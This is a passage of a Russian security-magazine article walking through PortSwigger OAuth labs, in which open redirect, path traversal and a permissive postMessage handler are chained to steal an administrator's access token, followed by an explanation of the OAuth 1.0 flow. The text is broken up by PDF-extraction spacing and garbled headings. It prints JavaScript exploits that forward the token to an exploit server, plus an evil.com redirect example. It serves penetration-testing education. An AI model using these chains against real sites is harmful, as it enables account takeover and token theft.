. Если все прой дет нор маль но, сер вер дол жен отдать куки

и показать, что мы залоги нены. Так и про изош ло. Появи лась ссыл ка на панель
адми нис тра тора, а это зна чит, что мы не прос то заш ли, а заш ли как админ.

/oauth-
callback

От прав ка укра ден ного кода, что бы получить сес сию адми на

За ходим через бра узер, уда ляем поль зовате ля  и нас лажда емся
победой над еще одной лабой.

carlos

Уве дом ление об успешном про хож дении лабы

ÇËÎÓÏÎÒÐÅÁËÅÍÈÅ ÎÒÊÐÛÒÛÌ ÐÅÄÈÐÅÊÒÎÌ Â ÑÂßÇÊÅ Ñ OAUTH

Схе матич ное изоб ражение Open Redirect

Да вай крат ко вспом ним, что вооб ще такое Open Redirect.

INFO

Open Redirect, или откры тое перенап равле ние, —
это такая уяз вимость, ког да веб-при ложе ние
допус кает перенап равить поль зовате ля на про- 
изволь ные внеш ние URL-адре са без дол жной
про вер ки.

Нап ример, у нас есть сайт Google. Он не нуж дает ся в пред став лении, у него
боль шой кре дит доверия, и все ком пании счи тают, что домен 
безопас ный, поэто му дают ему некото рые пос лабле ния, добав ляя в собс- 
твен ные белые спис ки.

google.com

Но если зло умыш ленни ки най дут на нем Open Redirect, то они смо гут вос- 
поль зовать ся этим довери ем и исполь зовать его, что бы соз дать ссыл ку
на собс твен ный C2-сер вер, обхо дя детек тирова ние некото рых анти виру сов.

Вот при мер такой ссыл ки:

https://www.google.com/url?sa=t&url=https://evil.com

Она была бы уяз вимой, если бы сра зу нап равля ла на ука зан ный сайт.
Хорошим тоном счи тает ся пре дуп реждать поль зовате ля, что он покида ет
легитим ный сайт, и не выпол нять редирект без его сог ласия.

Пре дуп режде ние о небезо пас ном сай те

Сам по себе Open Redirect не очень опа сен, кро ме пог ранич ного слу чая, свя- 
зан ного с вре доно сами, который я опи сал выше. Но его час то исполь зуют
в связ ке с экс плу ата цией дру гих веб-уяз вимос тей, ког да он ста новит ся
по-нас тояще му гроз ным ору жием, поз воля ющим обхо дить мно гие филь тры,
заточен ные на про вер ку по регуляр ке или подс тро ке.

К при меру, сайт может про верять, что  начина ется толь ко

с . Если на этом  получит ся най ти Open

Redirect, то мож но будет и прой ти про вер ку, и экс плу ати ровать уяз вимость,
что бы украсть токен через OAuth.

redirect_uri
https://example.com example.com

Ëàáà: Stealing OAuth access tokens via an open redirect
• Ла бора тор ная работа на сай те PortSwigger

Как всег да, откры ваем лабора торию и попада ем на глав ную стра ницу бло га.

Глав ная стра ница бло га

Ло гиним ся через соци аль ную сеть.

Вход через соци аль ную сеть

Смот рим исто рию зап росов, берем Authorization Request и пыта емся пов- 
торить трюк из пре дыду щей лабы — для это го заменя ем 
каким-нибудь сво им, нап ример адре сом экс пло ит-сер вера.

redirect_uri

От прав ляем зап рос и видим в отве те текст 

, который озна чает, что на этот раз мы не смо жем
так наг ло, как рань ше, заменить этот параметр и украсть токен.

error: 
redirect_uri_mismatch

Ошиб ка из-за того, что сайт срав нива ет встав ленный URL с вай тлис том

Нем ного покопав шись на сай те, находим в самом низу стра ницы записи
из бло га две ссыл ки: на пре дыду щую запись и сле дующую (если она есть).

Ссыл ки на пре дыду щую и сле дующую статьи

Выг лядит ссыл ка сле дующим обра зом:

https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/
post/next?path=/post?postId=10

Как мож но заметить, у нее есть параметр , где ука зан путь, по которо му

нуж но сде лать редирект. Что, если бы мы мог ли поп робовать экс плу ати- 
ровать здесь Open Redirect и перенап равить поль зовате ля на любой дру гой
сайт или даже собс твен ный вре донос ный сер вер?

path

За меня ем  сво ей ссыл кой:redirect_uri

https://0a8500570499a7a3949c6dee005600cd.web-security-academy.net/
post/next?path=https://google.com

От прав ляем зап рос и сно ва стал кива емся с той же самой ошиб кой. Видимо,
сер вер про веря ет не толь ко домен, на который мы редирек тим, но и сам путь.

Пей лоад сно ва не сра ботал

Пу тем экспе римен тов выяс няем, что ссыл ка обя затель но дол жна начинать ся
так:

https://<поддомен лабы>.web-security-academy.net/oauth-callback/

Продолжение статьи →

https://xakep.ru/2024/09/04/oauth-deep-dive-basic/
https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri
http://google.com/
https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect


OAUTH ОТ И ДО
ИЩЕМ ЦЕПОЧКИ УЯЗВИМОСТЕЙ

ПРИ АТАКАХ НА АВТОРИЗАЦИЮ

COVERSTORY  НАЧАЛО СТАТЬИ←

Мы можем допол нитель но экс плу ати ровать Path Traversal, что бы удов летво- 
рять пра вилам. Фор миру ем сле дующую ссыл ку и пыта емся сно ва отпра вить
зап рос с изме нен ным :redirect_uri

https://<поддомен лабы>.web-security-academy.net/oauth-callback/../
post/next?path=https://google.com

Экс плу ата ция Open Redirect и Path Traversal

Сра бота ло!
 пос ле  обоз нача ет, что мы перехо дим на уро вень

выше к кор ню сай та (экс плу ати руя Path Traversal);
• /../ oauth-callback

 — исполь зуем URL
для перехо да к сле дующе му пос ту с собс твен ным 

, что бы отпра вить поль зовате ля на сто рон ний сайт.

• post/next?path=https://google.com

path=https://

google.com

Ко пиру ем получен ный URL, откры ваем в бра узе ре, и вот наш токен про кинул- 
ся на тот сайт, который мы ука зали.

Ре директ с нашим токеном на google.com

Те перь вмес то  мы можем пос тавить ссыл ку на собс твен ный сер- 

вер и украсть токен. Но пот ребу ются еще неболь шие доработ ки. Мож но
заметить, что токен переда ется не через при выч ный GET-параметр пос ле
зна ка воп роса, а как якорь (то есть идет пос ле решет ки). Обыч но сер веры
не логиру ют такие парамет ры, потому что они пред назна чены толь ко для бра- 
узе ра.

google.com

Со ответс твен но, обра баты вает ся токен толь ко на сто роне кли ента, и нам
нуж но извлечь его. Делать это мы будем с помощью прос тень кого кода
на JavaScript.

Вот что будет делать наш скрипт:
1. Ес ли поль зователь зашел впер вые — отпра вит его на вход через соци аль- 

ную сеть с нашим вре донос ным урлом.
2. Ес ли поль зователь вер нулся по URL, который был ука зан в пер вом пун кте,

извле кает токен и отправ ляет его на этот же URL, но уже с нор маль но
задан ным GET-парамет ром, который залоги рует ся:

<script> 
     if (!document.location.hash) {

        window.location = 'https://
oauth-0ace001a0475a73994506b4c02120084.oauth-server.net/
auth?client_id=woh27no9eqarfla0piito&redirect_uri=https://
0a8500570499a7a3949c6dee005600cd.web-security-academy.net/
oauth-callback/../post/next?path=https://
exploit-0ac100b304f0a7e1945f6c4f01f20083.exploit-server.net/exploit&
response_type=token&nonce=-958106083&scope=openid%20profile%20email'
     } else {

 1       window.location = '/?'+document.location.hash.substr( )
   }
</script> 

По меща ем скрипт на свой экс пло ит-сер вер и нажима ем Deliver exploit
to victim.

Экс пло ит, который перенап равит поль зовате ля и залоги рует токен

Ждем пару секунд и про веря ем логи, где и находим зап рос с токеном.

То кен адми на в access-логах

https://exploit-0ac100b304f0a7e1945f6c4f01f20083.exploit-server.net/?
access_token=38oaEgDJw-n7e_r_pHnYs6gCsnyQ1R58L4TRG4KKAne&expires_
in=3600&token_type=Bearer&scope=openid profile email 

Те перь у нас есть OAuth-токен адми нис тра тора. Из исто рии зап росов
находим зап рос к API . Этот эндпо инт отда ет информа цию о вла дель це
токена.

/me

Зап рос /me, который поз воля ет получить инфу о поль зовате ле

Под став ляем в него наш OAuth-токен, получа ем информа цию о поль зовате ле
(где вид но, что мы зав ладели акка унтом адми нис тра тора) и его API-ключ,
который нужен, что бы прой ти лабора торию.

Де лаем зап рос на /me с токеном адми на и получа ем API-ключ

Ко пиру ем его, встав ляем в Submit solution.

Как сдать флаг

Под твержда ем отправ ку и при нима ем поз драв ления.

Поз драв ления с про хож дени ем лабы

ÔÎÐÌÈÐÓÅÌ ÖÅÏÎ×ÊÈ ÁÀÃÎÂ ÄËß ÏÎÂÛØÅÍÈß ÈÌÏÀÊÒÀ

Как быть, если мы не смог ли най ти ни одну из оши бок, о которых я рас ска зал
выше? Уяз вимос ти типа Open Redirect и CSRF, которые мы экс плу ати рова ли
в ком бинации с клас сичес кими ата ками на OAuth, не единс твен ные, которые
тут могут быть полез ны.

У OAuth мно го воз можнос тей и откро вен ных багов, которые может исполь- 
зовать зло умыш ленник, что бы украсть токен. Одна ко в слу чае более слож ных
при ложе ний ему (и тебе — как пен тесте ру) пот ребу ется нем ного фан тазии.

Вот нес коль ко хороших при меров:
 — на веб-сер верах мож но встре тить атри бут

, который прос тавля ется сес сион ной куке, что бы ее нель зя было
украсть с помощью уяз вимос тей меж сай тового скрип тинга. Пом ни, что код
авто риза ции OAuth не име ет такой защиты, и ты можешь вос поль зовать ся
этим, что бы украсть чужой акка унт. Так ты смо жешь повысить импакт
и украсть акка унт адми на, даже если на сер висе исполь зует ся .

• XSS-óÿç âèìîñ òè

httpOnly

httpOnly

 — ког да нель зя внед рить пол ноцен ный код

на JavaScript или в при ложе нии исполь зует ся стро гая полити ка CSP, отча- 
ивать ся не сто ит — для кра жи кода авто риза ции может хва тить даже прос- 
той инъ екции. К при меру, если ты кон тро лиру ешь ввод атри бута  у эле- 
мен та  (то есть ссыл ку на кар тинку), то мож но узнать код с помощью
атри бута  (он сиг нализи рует, с какого сай та при шел поль- 
зователь). Некото рые бра узе ры (вро де Firefox) отправ ляют  пол- 
ностью при заг рузке кар тинок, вклю чая всю стро ку зап роса.

• HTML-èíú åêöèè

src

img

Referer

Referer

, обра баты вающий весь URL или отдель ные
парамет ры зап роса. Тут нуж но нем ного подумать и рас кру тить цепоч ку,
которая при ведет к завет ной цели.

• Îïàñ íûé JavaScript

Сей час мы на прак тике реали зуем опас ную цепоч ку гад жетов, где исполь- 
зование  ста ло фаталь ным и поз волило украсть чужой токен.PostMessage

Êàê ðàáîòàåò PostMessage
PostMessage — этот механизм, который поз воля ет безопас но отправ лять
кросс-домен ные зап росы.

Схе матич ное изоб ражение работы PostMessage

Обыч но дос туп к ресур сам на раз ных стра ницах раз решен толь ко в том слу- 
чае, если стра ницы име ют один и тот же , то есть «про исхожде ние»,

которое опре деля ется по ком бинации про токо ла (нап ример, HTTPS), номера
пор та (443 — по умол чанию для HTTPS) и хос та (домен ного име ни).

origin

Это часть механиз ма безопас ности бра узе ра, которая называ ется полити- 
кой одно го источни ка (Same-Origin Policy). SOP защища ет конеч ного поль- 
зовате ля от того, что код в одном окне бра узе ра укра дет дан ные из дру гого.

PostMessage пре дос тавля ет кон тро лиру емый механизм, который помога ет
обой ти это огра ниче ние безопас ным спо собом (при пра виль ном исполь- 
зовании).

Все работа ет очень прос то,  пред полага ет два обя затель ных

ком понен та:

PostMessage

 — отправ ляет сооб щение;• window.postMessage()

 — исполь зует ся
для получе ния и обра бот ки сооб щения.

• window.addEventListener(message, callback)

Один метод нуж но зап рашивать в окне, которое хочет отпра вить дан ные, дру- 
гой — в том, которое хочет получить эти дан ные. Дру гими сло вами, это некое
сог лашение, которое поз воля ет обме нять ся толь ко теми дан ными, о которых
окна пред варитель но догово рились друг с дру гом.

Burp Suite è DOM Invader
В Burp Suite есть встро енный бра узер с рас ширени ем DOM Invader. Оно поз- 
воля ет авто мати зиро вать некото рые ата ки и показы вать содер жимое сооб- 
щений, пересы лаемых меж ду окна ми с помощью PostMessage.

Что бы открыть бра узер, надо запус тить Burp, перей ти в Proxy и нажать
Open browser.

От кры ваем модифи циро ван ный Chromium

От кро ется обыч ный Chromium, но с импорти рован ным SSL-сер тифика том
от PortSwigger, вклю чен ным прок си-сер вером, который сра зу «из короб ки»
нап равля ет все зап росы в Burp, и с рас ширени ем DOM Invader, которое
может помочь экс плу ати ровать XSS, Prototype Pollution и смот реть содер- 
жимое пост-мес седжей.

Рас ширение пре дус танов лено, но может быть вык лючено по умол чанию.
Что бы вклю чить, надо перей ти в  и пос тавить соот- 

ветс тву ющую галоч ку.

chrome://extensions/

Рас ширение Burp Suite дол жно быть вклю чено

В меню появит ся зна чок, который поз воля ет управлять нас трой ками рас- 
ширения. Нам нуж но, что бы оно работа ло и логиро вало пост-мес седжи,
для это го акти вируй те же самые пун кты, что отме чены у меня на скрин шоте.

Эти два перек лючате ля дол жны быть активны

Те перь мож но открыть сайт  (или
любой ана логич ный), нажать на пер вый тест и уви деть, как рас ширение
залоги рует отправ ленное сооб щение.

stevesouders.com/misc/test-postmessage.php

Про веря ем, логиру ются ли пост-мес седжи

Ес ли все так, как у меня на скри не, мож но перехо дить к лабе.

Ëàáà: Stealing OAuth access tokens via a proxy page
• Ла бора тор ная работа на сай те PortSwigger

От кры ваем глав ную сай та, где встре чаем мно гообе щающую кар тинку.

Глав ная стра ница бло га

По уже обка тан ному сце нарию заходим в акка унт , став ший нам род- 

ным.

wiener

Стра ница под твержде ния выдачи дос тупа к собс твен ным ресур сам

От кры ваем HTTP History в Burp, находим Authorization Request, пересы лаем
его в Repeater и начина ем экспе римен тировать.

Для начала попыта емся про вер нуть тот же самый трюк, к которо му мы при-
бег ли в прош лой лабора тории. Поп робу ем экс плу ати ровать ста рый доб рый
Open Redirect, который поз волил нам ранее украсть токен адми нис тра тора.
Заменя ем стан дар тный  зна комым уже пей лоадом с Path
Traversal и «ссыл кой на пост», где вмес то пос та — .

redirect_uri
google.com

По пыт ка исполь зовать экс пло ит из пре дыду щей лабы

От пра вив зап рос, видим, что редирект дей стви тель но есть. Это пер вичный
приз нак того, что мы можем исполь зовать эту ссыл ку, что бы про кинуть кас- 
томный URL.

Од нако, если углу бить ся, выяс нится, что приз нак обманчи вый. Украсть
токен таким спо собом в этот раз так прос то не вый дет, пос коль ку на сай те
прос то нет стра ницы с перехо дом к сле дующе му пос ту из прош лой лабора- 
тории.

Этот эндпо инт боль ше не сущес тву ет

А обыч ный зап рос со сто рон ним сай том будет говорить о мис матче. При дет- 
ся ковырять сам сайт на наличие нового Open Redirect или какой-либо дру гой
уяз вимос ти, которая при вела бы нас к написа нию рабоче го экс пло ита.

Ес ли ука зать ссыл ку на сто рон ний сайт, будет ошиб ка

Ес ли зай ти на стра ницу любого пос та из бло га и про лис тать вниз, то, на пер- 
вый взгляд, ничего нового нет. Но если прис мотреть ся к исходно му коду
стра ницы, то мож но заметить необыч ный iframe, внут ри которо го живет фор- 
ма для отправ ки ком мента рия. Рань ше это была натив ная фор ма,
без каких-либо фрей мов.

Не обыч ный iframe с отправ кой ком мента рия

Iframe ведет на дру гую стра ницу это го же сай та. Откро ем ее по пря мой ссыл- 
ке (для это го прос то нуж но взять атри бут  и вста вить в адресную стро ку)
и гля нем ее исходник.

src

От дель ная стра ница с фор мой

На стра нице есть сле дующий код на JavaScript:

    parent.postMessage({type: 'onload', data: window.location.href}, '*')
   function submitForm(form, ev) {

   ev.preventDefault();
       const formData = new FormData(document.getElementById("
comment-form"));
       const hashParams = new URLSearchParams(window.location.hash.
substr(1));
      const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
       parent.postMessage({type: 'oncomment', content: o}, '*');
   form.reset();
}

Раз берем ся, что он дела ет. Сна чала вызыва ется вот такой метод:

    parent.postMessage({type: 'onload', data: window.location.href}, '*')

Он озна чает, что пос ле заг рузки стра ницы нуж но отпра вить сооб щение
 родитель ско му окну (если оно сущес тву ет) с текущим URL стра ницы

( ) в клю че .

onload
window.location.href data

Даль ше сле дует фун кция , которая, как мож но догадать ся,

отве чает за отправ ку фор мы. Давай прой дем ся по каж дой стро ке и пос- 
мотрим, что она дела ет.

submitForm

ev.preventDefault()

Эта стро ка пре дот вра щает стан дар тное дей ствие бра узе ра по отправ ке фор- 
мы.

    const formData = new FormData(document.getElementById("comment-form"
));

Здесь соз дает ся объ ект , который содер жит дан ные из фор мы
с иден тифика тором .

FormData
comment-form

    const hashParams = new URLSearchParams(window.location.hash.substr(1
));

Соз дает ся объ ект , который содер жит парамет ры
из хеш-час ти URL (всё пос ле решет ки).

URLSearchParams

   const o = {};

Соз дает ся пус той объ ект .o

     formData.forEach((v, k) => o[k] = v);

Эта стро ка запол няет объ ект  дан ными из фор мы.o

     hashParams.forEach((v, k) => o[k] = v);

В объ ект  добав ляют ся парамет ры из хеш-час ти URL.o

    parent.postMessage({type: 'oncomment', content: o}, '*');

Продолжение статьи →

https://stevesouders.com/misc/test-postmessage.php
https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page
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Этот метод отправ ляет сооб щение родитель ско му окну с типом 
и содер жимым дан ных из фор мы, вмес те с парамет рами хеша.

oncomment

И наконец,  сбра сыва ет фор му, очи щая все ее поля.form.reset()
Ес ли всё обоб щить, то про исхо дит сле дующее. На стра ницу заг ружа ется

iframe, внут ри — поля для отправ ки ком мента рия. Ког да поль зователь их
запол няет и нажима ет Send Comment, в родитель ское окно воз вра щает ся
содер жимое фор мы, а отту да дан ные отправ ляют ся на эндпо инт ,
который и пуб лику ет сам ком мента рий.

send_form

Ког да заг ружа ется iframe, в родитель ское окно еще отсы лает ся событие
о том, что он успешно заг ружен, и ссыл ка, по которой он находит ся.

{
    "type": "onload",
    "data": "https://0a9f003904c4085282b56f10003b00c8.
web-security-academy.net/post/comment/comment-form#postId=3"
}

По том «наверх» отправ ляет ся уже содер жимое самого ком мента рия.

{
    "type": "oncomment",
    "content": {

        "comment": "asdsad",
        "name": "sadasd",
        "email": "test@gmail.com",
        "website": "https://google.com",
        "postId": "3",

        "csrf": "NoBM8Fn9Jf1nQ9GNcTtNzqDpxyfW8oTP"
   }
}

Эти же сооб щения мож но уви деть в DOM Invader.

При мер пост-мес седжей, которые отправ ляют ся в родитель ское окно
с урлом и токеном

В жиз ни ты имен но такой кейс вряд ли встре тишь, так как обыч но ком мента- 
рии отправ ляет натив ная фор ма и прос лой ка в виде отдель ного iframe здесь
явно не нуж на. Но в рам ках лабора тории нам под готови ли испы тание, что бы
мы мог ли научить ся ком биниро вать подоб ные осо бен ности в удач ные ата ки.
Раз работ чики порой пишут стран ный код, и мы дол жны уметь исполь зовать
его в сво их целях.

Как же исполь зовать эту фор му? Клю чевое для нас — событие ,

при обра бот ке которо го в родитель ское окно воз вра щает ся URL, вклю чая ту
часть, которая идет пос ле зна ка . Кро ме того, домен родитель ско го окна

не про веря ется.

onload

#

Как ты пом нишь, OAuth-токен воз вра щает ся тоже пос ле зна ка , а это зна- 
чит, что если мы ука жем в качес тве  ссыл ку на эту фор му, то

в ито ге смо жем получить токен из пост-мес седжа в родитель ском окне.
В качес тве родитель ско го окна будет выс тупать наш экс пло ит-сер вер, где мы
и перех ватим токен.

#
redirect_uri

Пе рей дем в Burp Repeater и заменим  ссыл кой на фор му

с ком мента рием, не забывая исполь зовать Path Traversal из пре дыду щего
задания (ина че сер вер не при мет ссыл ку).

redirect_uri

Экс плу ати руем Path Traversal, ука зывая ссыл ку на фор му

От кро ем ссыл ку и уви дим цепоч ку редирек тов, которая при водит нас на фор- 
му с отправ кой ком мента рия, и OAuth-токеном в URL. Фор ма берет URL
и нап равля ет его в родитель ское окно, которо го пока что у нас нет.

Це поч ка редирек тов при вела на фор му с ком мента риями, в урле про -
кинул ся токен

Пе рехо дим к экс пло ит-сер веру и пишем код, который откры вает наш прош- 
лый URL в iframe.

Раз меща ем iframe

На жима ем на Store и стал кива емся с непонят ной ошиб кой.

Ошиб ка с нерабо чим iframe

Стал кивал ся с этой ошиб кой не я один, и на форуме PortSwigger были све жие
темы, где люди жалова лись на то же самое.

Со обще ния на форуме PortSwigger

Как выяс нилось, Chrome в новых вер сиях по умол чанию бло киру ет сто рон ние
куки, и, что бы прой ти лабора торию, при дет ся добавить домен экс пло ит-сер- 
вера в исклю чения бра узе ра. Для это го перей ди в раз дел нас тро ек Privacy
and security и вставь в Site allowed to use third-party cookies домен экс пло- 
ит-сер вера.

Дол жно получить ся, как у меня на скрин шоте.

Как добавить сайт в исклю чение для сто рон них кук

Воз вра щаем ся обратно к экс пло ит-сер веру.

Стра ница экс пло ит-сер вера

До бавим еще неболь шой JavaScript-код, который прос то соз дает так называ- 
емый listener («слу шатель»), цель которо го — при нять PostMessage от дочер- 
него окна и вывес ти его содер жимое в кон соль.

<script>
     window.addEventListener('message', function(e) {
       console.log(e.data)
    }, false)
</script>

Код — на скрин шоте ниже.

Код, который залоги рует при шед шее из дочер него окна сооб щение

Пос мотрим, что получи лось. Откры ваем Exploit Server.

Со обще ние с токеном в кон соли

И видим, как в кон соли отоб ража ется URL с нашим токеном. Теперь нам надо
научить ся кодиро вать дан ные (так как всё, что идет пос ле решет ки, не логиру- 
ется, и нам надо испра вить это) и делать редирект на экс пло ит-сер вер, что бы
дан ные осе дали в access-логе, отку да мы их смо жем заб рать (тот самый
access-токен адми нис тра тора).

Эти же дан ные мож но уви деть в DOM Invader.

Дан ные, которые перех ватило рас ширение от PortSwigger

Те перь меня ем  на .console.log fetch

<script>
     window.addEventListener('message', function(e) {

         fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>

Об новля ем код на экс пло ит-сер вере.

Фи наль ный экс пло ит

От кры ваем сайт и видим, как вмес то того, что бы сох ранить сооб щение
в логах, из него извле чен URL и отправ лен пря мо к нам на экс пло ит-сер вер,
с исполь зовани ем URL-кодиро вания.

Мы получи ли URL с токеном и сде лали так, что бы он осел в логах

Те перь, если гля нуть в логи, мож но уви деть там же эту ссыл ку.

Наш собс твен ный токен в access-логах

Нап равля ем адми нис тра тора на нашу стра ницу и смот рим за новыми логами.

То кен адми нис тра тора в логах

Ко пиру ем ссыл ку, которая там появи лась, и декоди руем ее в Decoder.

Де коди руем ссыл ку

Бе рем токен и отправ ляем на эндпо инт ./me

По луча ем API-ключ адми нис тра тора

А вот и API-ключ адми нис тра тора! Лаба прой дена.

ÂÛÂÎÄÛ

В этой статье мы поз накоми лись с тех нологи ей PostMessage и разоб рали,
как ком биниро вать раз ные баги в OAuth, что бы устра ивать более прод- 
винутые ата ки и повышать импакт.

Но не сто ит оста нав ливать ся на одном толь ко OAuth. В зак лючитель ной
статье из этой серии мы узна ем о надс трой ке над ним, которая более стан- 
дарти зиро вана и приз вана решить часть проб лем, но по-преж нему не лишена
уяз вимос тей.

Кро ме того, мы сос тавим чек-лист для пен теста и научим ся авто мати зиро- 
вать поиск багов.
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OpenID Connect — это пере осмысле ние
про токо ла OAuth, приз ванное решить проб- 
лему с аутен тифика цией и зак рыть белые
пят на в исходном спе ке, сде лав стан дарт
стро же и тре бова тель нее. Но люди все рав- 
но допус кают ошиб ки, и слу чают ся мис- 
конфи ги, ведущие к уяз вимос тям. В этой
статье я раз беру проб лемы OpenID
Connect и покажу их экс плу ата цию на при- 
мере лабы PortSwigger.

INFO

Это зак лючитель ная часть цик ла ста тей о про- 
токо ле авто риза ции OAuth. Читай так же статьи
«

» и «

».

OAuth от и до. Изу чаем про токол и раз бира ем
базовые ата ки на OAuth OAuth от и до. Ищем
цепоч ки уяз вимос тей при ата ках на авто риза-
цию

ÐÀÇÍÈÖÀ ÌÅÆÄÓ OAUTH 1.0 È OAUTH 2.0

Преж де чем мы перей дем к OpenID Connect, давай нем ного отка тим ся назад
и выяс ним, в чем же все-таки раз ница меж ду OAuth 1.0 и OAuth 2.0 и почему
нам при ходит ся раз бирать нес коль ко ите раций про токо ла. Для это го при выч- 
ным обра зом пос мотрим флоу, на этот раз уста рев шего OAuth 1.0 — того
самого, с которо го все и началось в Twitter.

Приз нать ся чес тно, инфу было най ти слож новато, так как пер вую вер сию
очень быс тро вытес нил OAuth 2.0. Одна ко чти во реаль но инте рес ное —
перед под готов кой статьи я спра шивал кол лег, и ник то из них даже и не думал
о том, как работал пер вый про токол и почему от него отка зались.

Схе ма работы OAuth 1.0

Здесь у нас сно ва нем ного изме нил ся ней минг, обоз начим все сто роны:
1. User — это поль зователь.
2. Consumer (пот ребитель) — при ложе ние, которое хочет получить дос туп

к ресур сам поль зовате ля.
3. Service Provider (пос тавщик услуг) — при ложе ние, которое пре дос тавля ет

дос туп к ресур сам поль зовате ля.

Как мож но с ходу заметить, сер вера авто риза ции, который есть в OAuth 2.0,
здесь нет.

Ïîëó÷åíèå Request Token
Пер вый зап рос пос ле того, как поль зователь захотел вос поль зовать ся
OAuth, — от пот ребите ля к сер вис-про вай деру. Он нужен на пер вом эта пе,
пос коль ку преж де, чем при ложе ние смо жет зап росить авто риза цию у поль- 
зовате ля, оно дол жно получить токен зап роса — Request Token. Этот токен
иден тифици рует кон крет ный зап рос авто риза ции, и его не получит ся исполь- 
зовать для дос тупа к ресур сам.

Пос коль ку Twitter на момент написа ния статьи все еще под держи вает этот
про токол, рас смот рим имен но на при мере логина в этот сер вис. При мер зап- 
роса на получе ние рек вест-токена:

POST /oauth/request_token HTTP/1.1 
Host: [api.twitter.com](http://api.twitter.com/) 

Authorization: OAuth oauth_callback="https%3A%2F%[2Fwww.example.com](
http://2fwww.example.com/)%2Foauth%2Fcallback%2Ftwitter", 
oauth_consumer_key="cChZNFj6T5R0TigYB9yd1w", 
oauth_nonce="ea9ec8429b68d6b77cd5600adbbb0456", 
oauth_signature_method="HMAC-SHA1", 
oauth_timestamp="1318467427", 
oauth_version="1.0", 
oauth_signature="qCMIWvfCvmP0ZsfWGTPnuaPXsQE%3D" 

Все эти парамет ры (за исклю чени ем ) мы видим впер вые.
Кро ме того, они переда ются в Authorization-заголов ке вмес то при выч ных
GET- и POST-парамет ров. Вот за что они отве чают:

oauth_callback

 — URL, на который сер вис-про вай дер перенап равит
поль зовате ля пос ле завер шения вза имо дей ствия с ним. Рань ше такого
парамет ра не было, он появил ся в OAuth 1.0a;

• oauth_callback

 — иден тифици рует при ложе ние для сер вис-про- 
вай дера. Наз нача ется при регис тра ции при ложе ния;

• oauth_consumer_key

 — слу чай ная стро ка, уни каль ная для каж дого зап роса, нуж- 
на, что бы пре дот вра тить replay-ата ки;

• oauth_nonce

 — метод, с помощью которо го под писыва- 
ются отправ ляемые дан ные;

• oauth_signature_method

 — количес тво секунд, про шед шее с 1 янва- 
ря 1970 года 00:00:00 GMT;

• oauth_timestamp

 — вер сия OAuth, которая будет исполь зовать ся во всем
про цес се;

• oauth_version

 — крип тогра фичес кая под пись, которая нуж на
для аутен тифика ции зап роса. Авто мати чес ки генери рует ся пот ребите лем
на осно ве его сек рета.

• oauth_signature

Сам механизм под писи доволь но прост.

К каким дан ным при меня ется HMAC

Ес ли ты хоть нем ного зна ком с HMAC, то зна ешь, что это крип тогра фичес ки
безопас ная (то есть необ ратимая) ком бинация опре делен ной стро ки
с общим сек ретом. Все отправ ляемые дан ные кон катени руют ся, и к ним при- 
меня ется HMAC с сек ретом, который известен пот ребите лю и сер вис-про- 
вай деру ( ).oauth_consumer_secret

В качес тве фун кции может исполь зовать ся HMAC-SHA-1, RSA-SHA-
1 или любая дру гая, которую заранее обго ворят пот ребитель и сер вис-про- 
вай дер, спе цифи кация это не рег ламен тиру ет.

Âûäà÷à íåàâòîðèçîâàííîãî òîêåíà OAuth
Пос ле того как Twitter получил зап рос, он дол жен аутен тифици ровать при- 
ложе ние. Для это го он про веря ет, что под пись была соз дана соот ветс тву- 
ющим клю чом пот ребите ля и его сек ретом. Если все сош лось, Twitter генери- 
рует токен OAuth вмес те с сек ретом и отда ет их в отве те:

HTTP/1.1 200 OK 
Content-Type: application/x-www-form-urlencoded 

oauth_token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0& 
oauth_callback_confirmed=true 

Здесь все го два парамет ра:
 — неав торизо ван ный токен OAuth. Пока он не авто ризо ван

поль зовате лем, он бес полезен. Пос ле того как поль зователь его авто- 
ризу ет, его мож но будет обме нять на токен дос тупа, или access-токен;

• oauth_token

 — флаг, уста нов ленный в зна чение ,
что бы ука зать, что сер вис-про вай дер получил URL, на который нуж но
перенап равить поль зовате ля. Появил ся в OAuth 1.0a, нужен, что бы
не допус тить ата ку session xation.

• oauth_callback_confirmed true

Ðåäèðåêò ïîëüçîâàòåëÿ íà service-ïðîâàéäåð
Пот ребитель не может исполь зовать токен OAuth до тех пор, пока тот не авто- 
ризо ван. Что бы его авто ризо вать, он нап равля ет поль зовате ля по ссыл ке
на сер вис-про вай дер, где единс твен ный параметр — тот самый токен из пре- 
дыду щего шага.

HTTP/1.1 302 Found 
Location: https://api.twitter.com/oauth/authenticate?oauth_
token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0 

Бра узер поль зовате ля сле дует редирек ту и отправ ляет при мер но такой зап- 
рос на стра ницу Twitter:

GET /oauth/authenticate?oauth_
token=NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0 HTTP/1.1 
Host: api.twitter.com 

Àóòåíòèôèêàöèÿ ïîëüçîâàòåëÿ è ïîëó÷åíèå ñîãëàñèÿ
Сер вис-про вай дер получа ет этот зап рос, про веря ет лич ность поль зовате ля
и зап рашива ет его сог ласие на пре дос тавле ние дос тупа к ресур сам. Спе- 
цифи кация не опре деля ет, как имен но он дол жен аутен тифици ровать поль- 
зовате ля, но уста нав лива ет ряд обя затель ных шагов:

Сер вис-про вай дер дол жен про верить лич ность поль зовате ля, преж де чем
зап рашивать сог ласие. Он может пред ложить поль зовате лю вой ти в сис- 
тему, если тот еще не вошел.

•

Сер вис-про вай дер пре дос тавля ет поль зовате лю информа цию о пот- 
ребите ле, который зап рашива ет дос туп. Информа ция вклю чает в себя
про дол житель ность дос тупа и ресур сы, к которым пот ребитель получит
дос туп.

•

Поль зователь дол жен раз решить или откло нить зап рос. Если поль- 
зователь отка зыва ет пот ребите лю в дос тупе, сер вис-про вай дер не дол- 
жен раз решать дос туп к защищен ным ресур сам.

•

Ког да сер вис-про вай дер отоб ража ет информа цию о пот ребите ле, он дол- 
жен информи ровать поль зовате ля, что дан ные, которые отоб ража ются,
ука заны самим пот ребите лем и их под линность невоз можно гаран- 
тировать (любой может наз вать ся при ложе нием «Пятероч ки» или каким
